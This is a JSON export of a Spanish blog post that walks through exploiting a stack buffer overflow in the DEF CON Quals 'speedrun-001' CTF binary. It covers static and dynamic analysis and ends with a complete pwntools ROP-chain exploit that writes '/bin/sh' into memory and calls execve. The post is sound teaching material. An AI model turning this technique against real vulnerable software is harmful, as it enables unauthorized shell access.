{"id":16113,"date":"2022-04-23T02:00:00","date_gmt":"2022-04-23T00:00:00","guid":{"rendered":"https:\/\/fwhibbit.es\/?p=16113"},"modified":"2022-04-23T14:00:34","modified_gmt":"2022-04-23T12:00:34","slug":"exploit-development-stack-based-buffer-overflow-i","status":"publish","type":"post","link":"https:\/\/fwhibbit.es\/exploit-development-stack-based-buffer-overflow-i","title":{"rendered":"Exploit Development &#8211; Stack Based Buffer Overflow I"},"content":{"rendered":"\n<p>Buenos dias!! hace tiempo que no publico nada, y mencionaron hace poco por Twitter una entrada sobre ingenier\u00eda inversa de hace unos a\u00f1os y me dije, porque no volver a escribir. Seg\u00fan el CWE-121 Stack-based Buffer Overflow, \u00ab<em>A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function)<\/em>. There are generally several security-critical data on an execution stack that can lead to arbitrary code execution\u00bb.<\/p>\n\n\n\n<p>Usaremos como PoC (Prueba de concepto) un binario de la <strong>DEF CON QUALS 19<\/strong>. Esta est\u00e1ticamente compilado y tampoco se puede ejecutar c\u00f3digo en el stack, tiene la protecci\u00f3n NX habilitado. <strong>NX<\/strong> es la abreviatura de stack no ejecutable. Su significado radica en que la regi\u00f3n de memoria no es ejecutable. As\u00ed que si hay c\u00f3digo perfectamente v\u00e1lido (c\u00f3digo en ensamblador), no se puede ejecutar debido a sus permisos. Podemos usar <strong>vmmap<\/strong> desde GDB para ver los permisos en las asignaciones de memoria: <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"220\" src=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-2-1024x220.png\" alt=\"\" class=\"wp-image-16114\" srcset=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-2-1024x220.png 1024w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-2-300x64.png 300w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-2-768x165.png 768w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-2-830x178.png 830w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-2-230x49.png 230w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-2-350x75.png 350w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-2-480x103.png 480w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-2.png 1342w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Como se puede apreciar en la imagen anterior se puede leer y escribir, pero no ejecutar nada. Es decir, si escribimos un <em>shellcode<\/em> aprovechando alguna vulnerabilidad no ejecutar\u00e1 su c\u00f3digo por tanto no nos sirve esa opci\u00f3n. Tampoco hay libc ya que esta est\u00e1ticamente compilado y todas las funciones que se necesitan est\u00e1n en el propio binario. Debido a esto existen un mont\u00f3n de gadgets potenciales de uso en un ROP (explicado m\u00e1s adelante).<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"770\" height=\"194\" src=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-3.png\" alt=\"\" class=\"wp-image-16115\" srcset=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-3.png 770w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-3-300x76.png 300w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-3-768x193.png 768w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-3-230x58.png 230w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-3-350x88.png 350w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-3-480x121.png 480w\" sizes=\"auto, (max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<p>\u00bfEntonces c\u00f3mo podemos realizar el bypass? No podemos ejecutar c\u00f3digo desde el stack (shellcode). Mirando las regiones de memoria con la protecci\u00f3n NX activado, vemos que las regiones de memoria tienen algunos espacios de memoria ejecutables donde se almacenan las instrucciones. Podemos aprovecharlos para ejecutar c\u00f3digo haciendo uso de ROP (Return-Oriented Programming).<\/p>\n\n\n\n<p>En el escenario que se nos plantea, podemos aprovechar que no tiene la protecci\u00f3n PIE lo que nos har\u00e1 el trabajo m\u00e1s factible. Position Independent Executable (PIE) es otra mitigaci\u00f3n binaria extremadamente similar a ASLR (Es de sistema, siempre damos por hecho que esta habilitado). Se da en las regiones de c\u00f3digo\/memoria del binario. Las direcciones del binario son siempre las mismas de las secciones como <strong>.text <\/strong>siendo una ventaja, no necesitamos un leak (t\u00e9cnica que nos permite conocer partes\/enteras de una direcci\u00f3n). <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">An\u00e1lisis est\u00e1tico <\/h2>\n\n\n\n<p>Antes de comenzar el an\u00e1lisis est\u00e1tico tenemos que probar el binario, interactuar con la aplicaci\u00f3n en si.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"191\" src=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-4-1024x191.png\" alt=\"\" class=\"wp-image-16117\" srcset=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-4-1024x191.png 1024w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-4-300x56.png 300w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-4-768x143.png 768w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-4-830x155.png 830w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-4-230x43.png 230w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-4-350x65.png 350w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-4-480x90.png 480w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-4.png 1072w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>En este caso nos da la opci\u00f3n de introducir (algo) y luego se ve reflejado nuestro input en una especie de <strong>printf?<\/strong>. Si usamos <strong>strace<\/strong> podemos tracear que funciones se usa: <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"659\" src=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-5-1024x659.png\" alt=\"\" class=\"wp-image-16118\" srcset=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-5-1024x659.png 1024w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-5-300x193.png 300w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-5-768x494.png 768w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-5-830x534.png 830w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-5-230x148.png 230w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-5-350x225.png 350w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-5-480x309.png 480w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-5.png 1184w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Una recomendaci\u00f3n es usar <strong>Ghidra<\/strong>. Gracias a su decompilador podremos ver el c\u00f3digo en C del binario. Tardar\u00e1 un poco en analizar ya que esta est\u00e1ticamente compilado. Tambi\u00e9n para no estar completamente perdidos, es recomendable ver las referencias a cadenas ya que as\u00ed sabemos que parte de c\u00f3digo se usan esas strings y ver la parte de c\u00f3digo que nos interesa analizar. <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"897\" height=\"336\" src=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-6.png\" alt=\"\" class=\"wp-image-16119\" srcset=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-6.png 897w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-6-300x112.png 300w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-6-768x288.png 768w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-6-830x311.png 830w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-6-230x86.png 230w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-6-350x131.png 350w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-6-480x180.png 480w\" sizes=\"auto, (max-width: 897px) 100vw, 897px\" \/><\/figure>\n\n\n\n<p>Una vez encontradas las referencias nos sale el c\u00f3digo seguidamente mostrado. En la parte de desensamblado cogemos la direcci\u00f3n para poder tenerlas a mano a la hora de poner breakpoints en el an\u00e1lisis din\u00e1mico con GDB. Una direcci\u00f3n a tener en cuenta podr\u00eda ser <strong>0x400c0e<\/strong>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>undefined8\nFUN_00400bc1(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,\n            undefined8 param_5,undefined8 param_6)\n\n{\n  long lVar1;\n  \n  FUN_00410590(PTR_DAT_006b97a0,0,2,0,param_5,param_6,param_2);\n  lVar1 = FUN_0040e790(\"DEBUG\");\n  if (lVar1 == 0) {\n    FUN_00449040(5);\n  }\n  FUN_00400b4d();\n  FUN_00400b60();\n  FUN_00400bae();\n  return 0;\n}<\/code><\/pre>\n\n\n\n<p>Esa direcci\u00f3n corresponde a la llamada a la funci\u00f3n FUN_00400b4d(). Esa funci\u00f3n es un <strong>write<\/strong> o un <strong>puts<\/strong>. Las funciones que nos interesa son las siguientes: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>void FUN_00400b60(void)\n\n{\n  undefined local_408 &#91;1024];\n  \n  write(\"Any last words?\");\n  read(0,local_408,2000);\n  write(\"This will be the last thing that you say: %s\\n\",local_408);\n  return;\n}<\/code><\/pre>\n\n\n\n<p>Y esta de aqu\u00ed: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>undefined8 read(undefined8 param_1,undefined8 param_2,undefined8 param_3)\n\n{\n  undefined4 uVar1;\n  \n  if (DAT_006bc80c == 0) {\n    syscall();\n    return 0;\n  }\n  uVar1 = FUN_0044be40();\n  syscall();\n  FUN_0044bea0(uVar1,param_2,param_3);\n  return 0;\n}<\/code><\/pre>\n\n\n\n<p>Este \u00faltimo es muy interesante. Parece que est\u00e1 escaneando nuestra entrada haciendo una llamada al sistema (syscall), en lugar de utilizar una funci\u00f3n como <strong>scanf<\/strong> o <strong>fgets<\/strong>. Un <strong>syscall<\/strong> es esencialmente una forma en el que tu programa solicite al SO o al Kernel que haga algo. Mirando el c\u00f3digo en ensamblador, vemos que establece el registro RAX igual a 0 xoreando eax por s\u00ed mismo. Para la arquitectura Linux x64, el contenido del registro rax decide qu\u00e9 syscall se ejecuta. Y cuando miramos en la tabla de syscall, corresponde con <strong>sys_read<\/strong>. <a href=\"https:\/\/blog.rchapman.org\/posts\/Linux_System_Call_Table_for_x86_64\/\">https:\/\/blog.rchapman.org\/posts\/Linux_System_Call_Table_for_x86_64\/<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0x4498aa    xor    eax, eax\n0x4498ac    syscall \n0x4498ae    cmp    rax, -0x1000<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">An\u00e1lisis din\u00e1mico<\/h2>\n\n\n\n<p>As\u00ed que con eso, podemos ver que est\u00e1 escaneando en 2000 bytes (0x7d0) de entrada en el buffer que puede contener 1024 bytes (Buffer Overflow).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0x4498ac    syscall  &lt;SYS_read&gt;\n        fd: 0x0 (\/dev\/pts\/1)\n        buf: 0x7fffffffde00 \u25c2\u2014 0x0\n        nbytes: 0x7d0<\/code><\/pre>\n\n\n\n<p>Tenemos un desbordamiento con el que podemos sobrescribir la direcci\u00f3n de retorno (RET) y conseguir la ejecuci\u00f3n del c\u00f3digo. La pregunta ahora es \u00bfc\u00f3mo lo hacemos?. Mi estrategia es optar por usar <strong>sys_execve<\/strong> para ejecutar <strong>\/bin\/sh<\/strong> y obtener ejecuci\u00f3n de c\u00f3digo, pero para ello tenemos que escribir la string \u00ab\/bin\/sh\u00bb en alg\u00fan sitio, al igual que ejecutar esa syscall. <\/p>\n\n\n\n<p class=\"has-text-align-left\">Haremos una \u00abcadena\u00bb ROP (Return Oriented Programming) y usaremos el desbordamiento del buffer para ejecutarla. Una cadena ROP se compone de gadgets, que son trozos de c\u00f3digo (asm) en el propio binario que terminan en una instrucci\u00f3n ret (llev\u00e1ndolo al siguiente gadget). Esencialmente, s\u00f3lo enlazaremos trozos del c\u00f3digo del binario, para poder obtener ejecuci\u00f3n de c\u00f3digo. Como todo esto es c\u00f3digo v\u00e1lido (no estamos ejecutando nada en el stack), no tenemos que preocuparnos de que el c\u00f3digo no sea ejecutable (son direcciones que apuntan a esos gadgets). Como la protecci\u00f3n PIE est\u00e1 desactivada, conocemos las direcciones de todas las instrucciones del binario (no necesitamos leak). Adem\u00e1s, como est\u00e1 enlazado est\u00e1ticamente, significa que es un binario grande con muchos gadgets (esta las funciones que usa el binario de la libc). <\/p>\n\n\n\n<p>Para poder construir el syscall necesitamos: <\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><tbody><tr><td>RAX<\/td><td>SYSCALL<\/td><td>RDI<\/td><td>RSI<\/td><td>RDX<\/td><\/tr><tr><td>59<\/td><td>sys_execve<\/td><td>const char *filename \u00ab\/bin\/sh\u00bb<\/td><td>const char *const argv[]<\/td><td>const char *const envp[]<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>La string \u00ab\/bin\/sh\u00bb no esta contenida en el binario debido a que no se ejecuta esa syscall. Tendremos que hacer que el registro RDI este el puntero donde escribamos la string \u00ab\/bin\/sh\u00bb. \u00bfC\u00f3mo escribimos? Pues haciendo uso de un ROP. La idea ya quedo descrita con anterioridad pero lo repetimos, b\u00e1sicamente necesitamos sobreescribir aprovechando el buffer overflow el contenido de RET, con lo que nosotros queramos, en este caso tendremos que usar gadget. <\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Sobreescribir ret para tener el control. Exactamente tenemos que enviar 1032*A+\u00bbret overwrite\u00bb con gadget v\u00e1lido. <\/li><\/ol>\n\n\n\n<p>En este caso como prueba no usaremos un gadget v\u00e1lido sino simplemente una direcci\u00f3n del c\u00f3digo, en este caso 0x400b60 para ver si de verdad hemos sobrescrito bien. El exploit tendr\u00eda esta forma: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\n# process\nio = process('.\/speedrun-001')\n\n# payload\npayload = b\"\"\npayload += b\"A\"*1032 # Padding\npayload += p64(0x00400b60) # Go to function()\n\n\n\n# Send \nio.sendline(payload)\n\nio.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"264\" src=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-7-1024x264.png\" alt=\"\" class=\"wp-image-16123\" srcset=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-7-1024x264.png 1024w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-7-300x77.png 300w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-7-768x198.png 768w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-7-830x214.png 830w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-7-230x59.png 230w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-7-350x90.png 350w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-7-480x124.png 480w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-7.png 1522w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Vemos que me ejecuta de nuevo la funci\u00f3n imprimi\u00e9ndome por salida est\u00e1ndar la string \u00abAny last words?\u00bb. El segundo paso ser\u00eda escribir \u00ab\/bin\/sh\u00bb en <strong>.data<\/strong>. Como ya vimos al principio es \u00abwriteable\u00bb por tanto perfecto, no tenemos problemas. <\/p>\n\n\n\n<p>2. Encontrar un sitio donde escribir \u00ab\/bin\/sh\u00bb, yo he elegido en 0x6b9248 (.data). <\/p>\n\n\n\n<p>3. Encontrar un gadget donde copiar la string y moverla al puntero donde se acceder\u00e1. Podemos usar ROPgadget para encontrar gadget acordes. En este caso tendremos que hacer pop &lt;registro&gt; para sacar del stack lo siguiente que esta en el stack (recordamos que es un BoF, por tanto controlamos todo). L\u00f3gicamente ser\u00e1 la \u00ab\/bin\/sh\u00bb. <\/p>\n\n\n\n<p>4. Finalmente tenemos que mover el valor de RAX al contenido del valor de RDX. En este caso el contenido del valor es b\u00e1sicamente la string y el valor de RDX es el puntero.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#write \/bin\/sh to .data 0x6b9248\nrop += p64(0x0000000000415664) # pop rax ; ret\nrop += b\"\/bin\/sh\\x00\"\nrop += p64(0x00000000004498b5) # pop rdx ; ret\nrop += p64(0x6b9248) # .data\nrop += p64(0x0000000000418397) # mov qword ptr &#91;rdx], rax ; ret<\/code><\/pre>\n\n\n\n<p>5. Una vez tenemos ya la string ahora es simplemente hacer la syscall <strong>sys_execve<\/strong>. Seg\u00fan la tabla anterior, en ensamblador la llamada a la syscall tendr\u00eda la siguiente forma:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pop rax, 0x3b\npop rdi, 0x6b9248\npop rsi, 0x0\npop rdx, 0x0\nsyscall<\/code><\/pre>\n\n\n\n<p>6. El exploit final quedar\u00eda de la siguiente manera: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\n# process\nio = process('.\/speedrun-001')\ncontext.log_level = 'debug'\n\n\n#pid = gdb.attach(io, gdbscript='''\n#b *0x400c0e\n#''')\n\n# rop\nrop = b\"\"\nrop += b\"A\"*1032 # Padding\n\n#write \/bin\/sh to .data 0x6b9248\nrop += p64(0x0000000000415664) # pop rax ; ret\nrop += b\"\/bin\/sh\\x00\"\nrop += p64(0x00000000004498b5) # pop rdx ; ret\nrop += p64(0x6b9248) # .data\nrop += p64(0x0000000000418397) # mov qword ptr &#91;rdx], rax ; ret\n\n# syscall\nrop += p64(0x0000000000415664) # pop rax ; ret\nrop += p64(0x3b) # el valor 59 correspondiente a la syscall\nrop += p64(0x0000000000400686) # pop rdi ; ret\nrop += p64(0x6b9248) # .data\nrop += p64(0x00000000004101f3) # pop rsi ; ret\nrop += p64(0)\nrop += p64(0x00000000004498b5) # pop rdx ; ret\nrop += p64(0)\nrop += p64(0x000000000040129c) #&nbsp;syscall\n\n# Send\nio.sendline(rop)\n\nio.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"226\" src=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-8-1024x226.png\" alt=\"\" class=\"wp-image-16124\" srcset=\"https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-8-1024x226.png 1024w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-8-300x66.png 300w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-8-768x170.png 768w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-8-1536x340.png 1536w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-8-830x184.png 830w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-8-230x51.png 230w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-8-350x77.png 350w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-8-480x106.png 480w, https:\/\/fwhibbit.es\/wp-content\/uploads\/2022\/04\/image-8.png 1782w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Espero que sea de utilidad, saludos! <a href=\"https:\/\/twitter.com\/naivenom\">@naivenom<\/a>. <\/p>\n\n<div class=\"twitter-share\"><a href=\"https:\/\/twitter.com\/intent\/tweet?via=fwhibbit_blog\" class=\"twitter-share-button\">Twittear<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Buenos dias!! hace tiempo que no publico nada, y mencionaron hace poco por Twitter una entrada sobre ingenier\u00eda inversa de hace unos [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":16127,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[125,140],"tags":[],"class_list":["post-16113","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-analisis-de-vulnerabilidades","category-explotacion"],"_links":{"self":[{"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/posts\/16113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/comments?post=16113"}],"version-history":[{"count":12,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/posts\/16113\/revisions"}],"predecessor-version":[{"id":16133,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/posts\/16113\/revisions\/16133"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/media\/16127"}],"wp:attachment":[{"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/media?parent=16113"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/categories?post=16113"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/tags?post=16113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}